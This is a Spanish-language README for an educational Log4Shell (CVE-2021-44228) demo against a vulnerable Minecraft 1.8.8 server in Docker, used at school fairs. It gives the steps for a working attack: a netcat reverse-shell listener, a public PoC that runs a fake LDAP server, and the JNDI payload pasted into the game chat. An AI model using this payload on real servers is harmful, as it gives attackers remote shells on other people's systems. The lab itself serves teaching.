
Log4Shell (CVE-2021-44228) minecraft demo. Usado para ferias educativas.
Esta demo se utiliza en ferias educativas para dar a los posibles futuros estudiantes una idea del departamento de ciberseguridad de la HTL Villach y de cómo se pueden explotar aplicaciones cotidianas
Nota: Esta demo completa usa Minecraft 1.8.8
El atacante en este escenario está usando el PoC de kozmer. https://github.com/kozmer/log4j-shell-poc Todo el crédito les pertenece. Nota: Todos los comandos deben ejecutarse en attacker/
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 y estar en el mismo directorio.$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
Este script configurará el servidor HTTP y el servidor LDAP por ti, y también creará el payload que puedes usar para pegar en el parámetro vulnerable. Después de esto, si todo sale bien, deberías obtener una shell en el puerto local.
En la instancia de la víctima estamos usando una versión desactualizada y por lo tanto vulnerable de JDK (jdk1.8.0_20) .
Para poner en marcha nuestro servidor de Minecraft debemos construir nuestra imagen Docker y ejecutarla.
Nota: Para una construcción exitosa necesitas obtener tu propia copia del servidor Minecraft Vanilla 1.8.8 (no se puede compartir debido a la EULA de Mojang) Una posible fuente podría ser MCVERSIONS.NET
Después de obtener el archivo, guárdalo en victim/ como server.jar
cd target/
docker build target/ -t minecraft-demo
Ejecuta el servidor Minecraft vulnerable que acabamos de construir usando docker
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
Es probable que tu contenedor se congele o se atasque después de la explotación. En ese caso, puedes eliminarlo usando el siguiente comando:
docker kill vulnerable-server
Para explotar la vulnerabilidad, simplemente envía la cadena proporcionada por poc.py en el chat del juego.
${jndi:ldap://<ip of docker-host>:1389/a}
